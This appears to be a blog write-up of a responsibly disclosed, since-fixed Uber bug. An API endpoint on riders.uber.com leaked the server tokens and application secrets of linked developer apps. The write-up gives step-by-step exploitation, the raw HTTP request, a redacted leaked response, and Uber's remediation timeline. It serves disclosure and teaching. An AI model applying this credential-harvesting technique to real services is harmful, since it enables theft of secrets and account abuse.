Notification sent by Uber to developers.
Notification sent by Uber to developers.

Uncovering Where Uber Server Tokens Were Exposed: A Security Vulnerability

This article, published with the permission of Uber under their responsible disclosure policy, details a security vulnerability discovered by Anand Prakash and Manisha Sangwan from AppSecure. The vulnerability, quickly addressed by Uber’s engineering team, involved an information leak on riders.uber.com, specifically concerning where Uber server tokens were accessible.

The issue centered around a public API endpoint, https://riders.uber.com/profile, which inadvertently exposed server tokens and client secrets for applications authorized by users to access their Uber accounts. This exposure contradicted Uber’s own security guidelines for developers.

According to Uber’s developer documentation:

“The secret for your application, this should be treated like your application’s password. Never share this with anyone, check this into source code, or post in any public forum. Additionally, this should not be distributed on client devices where users could decompile your code and access the secret. If you suspect your client*secret has been compromised you may generate a new one in your application’s dashboard which will immediately invalidate the old secret.”

This vulnerability made it alarmingly easy for malicious actors. By simply connecting their account to any Uber application in a production environment, an attacker could then use the vulnerable profile endpoint to retrieve sensitive server tokens and client secrets from the API response. This unauthorized access to where Uber server tokens were located posed a significant security risk.

Uber swiftly mitigated this risk by removing the exposed data from the API response. Furthermore, Uber proactively notified all developers about the vulnerability and urged them to periodically rotate their secrets as a precautionary measure.

Notification sent by Uber to developers.Notification sent by Uber to developers.

Understanding Uber and the Context of Server Tokens

Uber, a leading transportation network company operating globally, provides a wide array of services from ridesharing to food delivery. With a substantial valuation, the security of its systems, including the management and protection of server tokens, is paramount.

Server tokens, in the context of APIs like Uber’s, act as a form of authentication and authorization. They allow applications to securely interact with the Uber platform on behalf of a user or the application itself. These tokens are crucial for maintaining the integrity and security of the Uber ecosystem. Therefore, the vulnerability concerning where Uber server tokens were exposed was a critical issue.

Step-by-Step Breakdown of the Exploit

The exploit was surprisingly straightforward, highlighting the potential danger of the information leakage vulnerability. Here’s a detailed step-by-step account:

Step #1: Connecting a Developer Application

An attacker would begin by connecting a legitimate, yet potentially attacker-controlled, Uber developer application to their personal Uber account using the standard OAuth authorization flow. Examples of such applications include services like IFTTT, Payfare, or Bixby, which integrate with Uber’s API for various functionalities. This step was not considered complex, as the OAuth process is designed for ease of integration.

Step #2: Exploiting the Vulnerable API Endpoint to Find Uber Server Tokens

Once the attacker successfully connected an application to their Uber account, they could then leverage the vulnerable API endpoint to expose sensitive information. By sending a specific request to the endpoint, using the attacker’s session data, the API would inadvertently leak the developer application’s confidential data, including server tokens and other critical details. This revealed precisely where Uber server tokens were being inadvertently exposed.

The Vulnerable Uber API Request:

POST /api/getAuthorisedApps HTTP/1.1
Host: riders.uber.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://riders.uber.com/profile
content-type: application/json
x-csrf-token: XXX
origin: https://riders.uber.com
Content-Length: 2
Cookie:

Leaked Data in the API Response (Illustrative Example):

{“status”:”success”,”data”:{“data”:{“uuid”:”xxxx”},”clientScopes”:{“authorizedClientScopes”:[{“clientID”:”xxx”,”scopes”:[“history”,”offline_access”,”profile”]}]},”scopeDetails”:[{“applicationDetails”:{“applicationID”:”xxx”,”owner”:{“userUUID”:”xxxx”,”userEmail”:””},”applicationSecret”:”xxx”,”name”:”xxx”,”description”:”abc”,”privacyPolicyURL”:”https://appsecure.in","surgeConfirmedRedirectURI":"","webhookURL":"","applicationType":"","requestsPerHour":{"low":0,"high":0,"unsigned":false},"redirectURIs":["xxxxxx"],"appSignatures":[],"defaultScopes":["history","profile"],"whitelistedScopes":[],"originURIs":[],"serverTokens":["xxx"],"ipWhitelist":[],"admins":[{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""}],"developers":[{"userUUID":"xxxx","userEmail":""}],"tags":[],"oauthEnabled":false,"smsVerificationEnabled":false,"cobrandingEnabled":false,"supplyOnly":false,"isInternal":true,"cobrandingDetails":{"nativeURL":"","androidFallbackURL":"","iosFallbackURL":"","displayName":"","linkName":"","logoUUID":"","logoFiletype":"","generatedLogoURL":""},"availableScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"openScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"developerScopes":["all_trips","request","request_receipt"],"createdAt":{"low":xxx,"high":0,"unsigned":false},"updatedAt":{"low":xxx,"high":0,"unsigned":false},"displayName":null,"iconURL":null,"publicDescription":null,"appGalleryDetails":{"mobilePlatforms":[],"publicationState":"","redirectURI":"xxxx","permissionState":""}},"permissions":null,"userRoleInvitations":null}]}}

As clearly shown in the API response, the serverTokens and applicationSecret were being exposed, revealing critical security credentials. This data leak demonstrated the vulnerability’s severity and the ease with which attackers could potentially find Uber server tokens.

Disclosure and Remediation Timeline

The responsible disclosure process and Uber’s prompt response are commendable aspects of this security event. Here’s a timeline of key events:

  • October 5th, 2018: The vulnerability report was submitted to Uber’s Security team by AppSecure.
  • November 6th, 2018: Uber successfully resolved the issue by removing the sensitive data from the API response. AppSecure confirmed the fix. AppSecure also requested Uber to notify developers about the potential compromise of their application secrets.
  • December 20th, 2018: Uber communicated that they were in the process of notifying developers and implementing a long-term solution to prevent recurrence.
  • February 8th, 2019: Uber rewarded AppSecure with a $5000 bounty for the responsible disclosure and sent out notifications to all developers concerning the vulnerability and advising them to rotate their secrets. Following these actions, the vulnerability was publicly disclosed.

Conclusion: Lessons in API Security and Server Token Management

This incident underscores the critical importance of secure API design and robust management of sensitive credentials like server tokens. The vulnerability, which revealed where Uber server tokens were unintentionally exposed, could have had serious repercussions if exploited maliciously at scale.

Uber’s swift response in patching the vulnerability and proactively informing developers demonstrates a strong commitment to security. For developers, this serves as a reminder to adhere strictly to security best practices, especially concerning the handling of API secrets and tokens. Regular security audits and responsible disclosure programs are vital in maintaining a secure and trustworthy digital ecosystem. Understanding where server tokens are stored, accessed, and transmitted is a cornerstone of application security, and this case highlights the potential pitfalls of overlooking these crucial aspects.

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *